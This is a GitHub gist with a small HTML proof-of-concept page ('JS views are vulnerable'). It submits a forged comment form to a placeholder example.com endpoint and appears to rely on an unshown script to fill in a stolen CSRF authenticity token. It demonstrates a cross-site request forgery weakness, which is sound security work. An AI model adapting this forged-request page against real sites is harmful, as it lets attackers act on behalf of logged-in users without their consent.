Last active
January 19, 2016 17:30
-
-
Save MaksimAbramchuk/6ff55fba301f743eca93 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script type=”text/javascript” src=”index.js”></script> | |
<title>JS views are vulnerable</title> | |
</head> | |
<body> | |
<form action=”http://example.com/comments" method=”POST”> | |
<input id=”token” type=”hidden” name=”authenticity_token” value=””> | |
<input type=”hidden” name=”comment[model_id]” value=”76678"> | |
<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”> | |
<button type=”submit”>Hack it!</button> | |
</form> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment